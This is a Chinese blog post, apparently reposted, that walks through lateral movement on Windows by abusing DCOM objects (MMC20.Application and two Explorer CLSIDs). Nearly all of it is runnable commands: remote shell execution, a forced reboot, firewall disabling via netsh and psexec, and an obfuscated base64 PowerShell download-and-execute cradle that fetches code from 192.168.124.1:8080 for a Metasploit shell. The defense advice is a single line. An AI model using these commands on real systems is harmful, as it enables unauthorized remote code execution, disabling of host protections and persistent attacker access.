1.前言
实现命令执行的方式之前我写过文章来总结,前两天又发现了一个新方法DCOM,于是有了这篇文章。
2.实现过程
2.1通过DCOM在本机执行命令
实现条件:
- 管理员权限的powershell
- 查找DCOM组件MMC Application Class如下图,命令为
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}
命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
ExecuteShellCommand对应的参数具体含义可参考以下链接:
https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx
2.2通过DCOM控制远程主机执行命令
实现条件:
- 管理员权限的powershell
- 客户端关闭防火墙
- 服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
- 双方主机都需有MMC Application Class这个DCOM组件。
命令:
net use \\192.168.124.3 "123" /u:"test\administrator"
netsh -r 192.168.124.3 -u TEST\administrator -p 123 advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound
#远程关闭防火墙不过一般会失败,默认不会开启远程管理防火墙的这个权限。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
# 有可能弹不出计算器,但是可以将命令改为:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shutdown -r -t 1","Minimized")
发现远程主机会重启。
如果上述命令执行失败,很有可能是防火墙开启造成的,这时候我们可以通过impacket来获取远程主机的shell然后再进行防火墙的配置。
psexec.exe test/lisi:123@192.168.124.3
netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state off
netsh advfirewall set currentprofile settings remotemanagement enable
第二种命令:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.124.3")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
#测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。
第三种命令:
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.124.3")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
#测试成功,不需要对方主机的凭据,只需要当前主机的管理员权限即可。
2.3补充:
在192.168.124.2上执行命令,不需要执行net use命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABjAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGMALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkALwBEAFEAMABKAHMAZABxAFIAUAAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkAJwApACkAOwA=","Minimized")
在msf上监听,可以得到一个shell,这个shell是192.168.124.3的,登陆shell的用户为192.168.124.2的用户(我是在域环境测试的)。
192.168.124.2的大概环境:
msf上得到的shell:
如果在执行这些命令之前执行了net use命令,获得了一个有权限的IPC管道(例如使用域控的凭据连接目标主机),得到的结果也是一样的,也就是说net use命令存在与否并不影响结果。
3.参考文章
域渗透-利用DCOM在远程系统执行程序
4.防御方式
开启域防火墙
今天的文章远程cmd命令大全_同步控制和异步控制分享到此就结束了,感谢您的阅读。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:http://bianchenghao.cn/76347.html